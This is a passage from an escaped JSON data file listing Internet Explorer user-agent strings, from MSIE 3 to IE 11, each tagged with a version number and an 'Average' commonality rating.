3.0.30729; .NET4.0C; .NET4.0E; InfoPath.2)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; NP02)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MDDRJS)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SIMBAR={96F39691-AAA7-11E2-8555-D48564A8FEF0}; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; .NET4.0C; BRI\\/1; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; MS-RTC LM 8)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; Touch; MATBJS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Win64; x64; Trident\\/7.0; .NET4.0E; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"5.5\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows NT)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPDTDF; .NET4.0C; .NET4.0E; EIE10;ENUSWOL)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident\\/6.0; MATP)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; SMJB; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; HPDTDFJS; MS-RTC LM 8)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; chromeframe\\/26.0.1410.64)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident\\/4.0; InfoPath.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; NGD_build; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.2; Creative AutoUpdate v1.41.07)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MAPBJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MANM; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; UHG_Win7_Build 11-15-2010; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Win32; Trident\\/5.0)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; EIE10;ENUSMSN; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSSDMC2.5.2219.1)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; Qwest 1.0)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; BOIE9;NLBE)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; McAfee; LCJB)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; CLUB PC)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; Lumia 520) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; MSN Optimized;BE)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; QwestIE8)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; Alexa Toolbar)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MDDR; MS STORE DMC2.6.3411.2)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPDTDF; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; FSJB; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; MASP)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MALCJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI\\/1; .NET4.0C; MS-RTC LM 8; MS-RTC EA 2)\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; (R1 1.5))\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.4506.2152)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MANM; MANM; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; MALCJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; NP08; NP08; MAAU; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 1520) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 520) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; Touch; MASMJS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; Touch; MALCJS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MDDRJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MAGW; .NET4.0C; BRI\\/2)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; BRI\\/1; .NET4.0C; AskTbARS\\/5.15.4.23821; playbrytetoolbar_Playbryte)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC S; MS-RTC LM 8; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727)\"},{\"commonality\":\"Average\",\"version\":\"3\",\"ua\":\"Mozilla\\/2.0 (compatible; MSIE 3.02; Windows CE; 240x320)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/7.0; Swinburne)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; QS 4.2.4.0; QS 5.3.0.4; BTRS125127; GTB7.5; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; QS 4.2.4.0; QS 5.3.0.4; AskTbWBV5\\/5.15.12.33066)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/6.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; MATP)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2; BOIE9;ENUS)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; MAGW)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.2)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; managedpc)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPNTDF)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MDDSJS)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; .NET4.0C; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; BRI\\/2; EIE10;ENUSWOL)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident\\/5.0; MALC)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; .NET CLR 1.1.4322; Alexa Toolbar)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF; BRI\\/1; BOIE8;ENUSMSCOM)\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; InfoPath.1; Hotbar 11.0.78.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SIMBAR={095C1133-8F49-11E2-AD42-002564DB24C8}; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDS; InfoPath.2; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; InfoPath.2)\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Deepnet Explorer 1.5.0; .NET CLR 1.0.3705)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident\\/5.0)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; FunWebProducts; BOIE9;ENUS)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MS-RTC LM 8)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; MALNJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows; Windows NT 5.1) BrokenLinkCheck.com\\/1.1\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident\\/6.0; MAMD)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MS-RTC LM 8; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; BOIE9;ENCA; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; SRS_IT_E8790575B2765C5133A096; BRI\\/1; AskTbAD3\\/5.15.15.35882)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; IE0006_ver1;EN_US)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; SIMBAR={AA7ADC59-9680-11E2-BEBD-0024E803E99D}; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BRI\\/1; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MATBJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"5.5\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.5; Windows 95; BCD2000)\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; Deepnet Explorer)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI\\/1; .NET4.0C; BRI\\/2; AskTbORJ\\/5.15.25.36191; .NET4.0E; EIE10;ENUSWOL)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; WinNT-EVI 19.12.2009; AskTbEPC\\/5.14.1.20007; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; rv:11.0; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5; MSNbMSNI; MSNmen-us; MSNcIA)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; MASP)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; 